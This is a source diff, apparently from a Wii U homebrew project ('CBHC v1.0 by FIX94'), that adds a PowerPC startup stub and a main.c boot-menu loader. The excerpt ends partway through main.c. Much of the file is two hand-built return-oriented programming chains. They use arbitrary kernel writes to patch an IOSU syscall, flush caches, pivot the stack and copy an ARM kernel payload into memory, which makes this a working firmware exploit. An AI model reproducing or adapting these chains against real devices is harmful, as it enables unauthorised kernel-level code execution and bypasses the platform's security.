@ -0,0 +1,9 @@
|
||||
|
||||
.extern __main
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
# jump to our main
|
||||
bl __main
|
||||
mtlr r3
|
||||
blr
|
892
dsrom/CBHC/main.c
Normal file
892
dsrom/CBHC/main.c
Normal file
@ -0,0 +1,892 @@
|
||||
/*
|
||||
* Copyright (C) 2016 FIX94
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
#include <string.h>
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
#include "pad.h"
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE 0x01E20000
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08134100
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "payload/arm_kernel_bin.h"
|
||||
#include "payload/arm_user_bin.h"
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(arm_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x01E40000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x01E30000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle);
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
||||
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle);
|
||||
|
||||
#define BUS_SPEED 248625000
|
||||
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
|
||||
#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000)
|
||||
#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000)
|
||||
|
||||
#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs))
|
||||
#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs))
|
||||
|
||||
#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R)
|
||||
#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y)
|
||||
#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"
|
||||
|
||||
static const char *verChar = "CBHC v1.0 by FIX94";
|
||||
|
||||
#define DEFAULT_DISABLED 0
|
||||
#define DEFAULT_SYSMENU 1
|
||||
#define DEFAULT_HBL 2
|
||||
#define DEFAULT_CFW_IMG 3
|
||||
#define DEFAULT_MAX 4
|
||||
|
||||
static const char *defOpts[DEFAULT_MAX] = {
|
||||
"DEFAULT_DISABLED",
|
||||
"DEFAULT_SYSMENU",
|
||||
"DEFAULT_HBL",
|
||||
"DEFAULT_CFW_IMG",
|
||||
};
|
||||
|
||||
static const char *bootOpts[DEFAULT_MAX] = {
|
||||
"Disabled",
|
||||
"System Menu",
|
||||
"Homebrew Launcher",
|
||||
"fw.img on SD Card",
|
||||
};
|
||||
|
||||
#define LAUNCH_SYSMENU 0
|
||||
#define LAUNCH_HBL 1
|
||||
#define LAUNCH_CFW_IMG 2
|
||||
|
||||
#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp);
|
||||
#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf);
|
||||
#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1);
|
||||
|
||||
uint32_t __main(void)
|
||||
{
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
|
||||
void (*OSExitThread)(int);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
||||
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
|
||||
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
|
||||
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
|
||||
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
|
||||
|
||||
//set up default hbl path
|
||||
strcpy((void*)0xF5E70000,SD_HBL_PATH);
|
||||
|
||||
unsigned int vpad_handle;
|
||||
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
|
||||
|
||||
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
|
||||
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
|
||||
|
||||
int vpadError = -1;
|
||||
VPADData vpad;
|
||||
VPADRead(0, &vpad, 1, &vpadError);
|
||||
if(vpadError == 0)
|
||||
{
|
||||
if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU)
|
||||
{
|
||||
// iosuhax-less menu launch backup code
|
||||
int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr);
|
||||
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash);
|
||||
_SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0);
|
||||
OSExitThread(0);
|
||||
return 0;
|
||||
}
|
||||
else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL)
|
||||
{
|
||||
// original hbl loader payload
|
||||
return 0x01800000;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned int *pMEMAllocFromDefaultHeapEx;
|
||||
unsigned int *pMEMFreeToDefaultHeap;
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
|
||||
void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx);
|
||||
void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
|
||||
|
||||
void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4);
|
||||
void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4);
|
||||
|
||||
int(*FSInit)(void);
|
||||
void(*FSShutdown)(void);
|
||||
int(*FSAddClient)(void *pClient, int errHandling);
|
||||
int(*FSDelClient)(void *pClient);
|
||||
void(*FSInitCmdBlock)(void *pCmd);
|
||||
|
||||
int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||
int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile);
|
||||
|
||||
unsigned int act_handle;
|
||||
OSDynLoad_Acquire("nn_act.rpl", &act_handle);
|
||||
|
||||
unsigned int save_handle;
|
||||
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
|
||||
void(*SAVEInit)(void);
|
||||
void(*SAVEShutdown)(void);
|
||||
void(*SAVEInitSaveDir)(unsigned char user);
|
||||
int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling);
|
||||
int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling);
|
||||
void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota);
|
||||
OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename);
|
||||
|
||||
void(*nn_act_initialize)(void);
|
||||
unsigned char(*nn_act_getslotno)(void);
|
||||
void(*nn_act_finalize)(void);
|
||||
OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize);
|
||||
OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno);
|
||||
OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize);
|
||||
|
||||
FSInit();
|
||||
nn_act_initialize();
|
||||
unsigned char slot = nn_act_getslotno();
|
||||
SAVEInit();
|
||||
SAVEInitSaveDir(slot);
|
||||
FSAddClient(pClient, -1);
|
||||
FSInitCmdBlock(pCmd);
|
||||
|
||||
int autoboot = -1;
|
||||
int iFd = -1;
|
||||
int i;
|
||||
for(i = 0; i < DEFAULT_MAX; i++)
|
||||
{
|
||||
SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1);
|
||||
if (iFd >= 0)
|
||||
{
|
||||
autoboot = i;
|
||||
FSCloseFile(pClient, pCmd, iFd, -1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(autoboot < 0)
|
||||
{
|
||||
autoboot = DEFAULT_DISABLED;
|
||||
SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1);
|
||||
if (iFd >= 0)
|
||||
FSCloseFile(pClient, pCmd, iFd, -1);
|
||||
}
|
||||
int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU;
|
||||
int cur_autoboot = autoboot;
|
||||
|
||||
void(*OSScreenInit)();
|
||||
void(*OSScreenEnableEx)(int,int);
|
||||
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||
|
||||
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||
|
||||
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||
|
||||
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||
|
||||
OSScreenInit();
|
||||
int screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
|
||||
OSScreenEnableEx(1, 0);
|
||||
OSScreenEnableEx(1, 1);
|
||||
|
||||
unsigned int padscore_handle;
|
||||
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
|
||||
|
||||
void(*OSSleepTicks)(unsigned long long ticks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks);
|
||||
|
||||
void(*WPADEnableURCC)(int enable);
|
||||
void(*KPADSetConnectCallback)(int chan, void *ptr);
|
||||
void*(*WPADSetSyncDeviceCallback)(void *ptr);
|
||||
void(*KPADShutdown)(void);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown);
|
||||
//easly allows us callback without execute permission on other cores
|
||||
char(*WPADGetSpeakerVolume)(void);
|
||||
void(*WPADSetSpeakerVolume)(char);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume);
|
||||
//enable wiiu pro controller connection
|
||||
WPADEnableURCC(1);
|
||||
//hachihachi instantly disconnects wiimotes normally
|
||||
KPADSetConnectCallback(0,NULL);
|
||||
KPADSetConnectCallback(1,NULL);
|
||||
KPADSetConnectCallback(2,NULL);
|
||||
KPADSetConnectCallback(3,NULL);
|
||||
char oriVol = WPADGetSpeakerVolume();
|
||||
//WPAD_SYNC_EVT=0 is button pressed
|
||||
WPADSetSpeakerVolume(1);
|
||||
WPADSetSyncDeviceCallback(WPADSetSpeakerVolume);
|
||||
|
||||
if(autoboot == DEFAULT_DISABLED)
|
||||
goto cbhc_menu;
|
||||
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenPutFont(0, 0, verChar);
|
||||
OSScreenPutFont(0, 1, "Autobooting...");
|
||||
OSScreenFlipBuffers();
|
||||
|
||||
//garbage read
|
||||
getButtonsDown(padscore_handle, vpad_handle);
|
||||
//see if menu is requested
|
||||
int loadMenu = 0;
|
||||
int waitCnt = 40;
|
||||
while(waitCnt--)
|
||||
{
|
||||
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
|
||||
|
||||
if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0)
|
||||
{
|
||||
WPADSetSpeakerVolume(1);
|
||||
loadMenu = 1;
|
||||
break;
|
||||
}
|
||||
usleep(50000);
|
||||
}
|
||||
|
||||
if(loadMenu == 0)
|
||||
goto doIOSUexploit;
|
||||
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenPutFont(0, 0, verChar);
|
||||
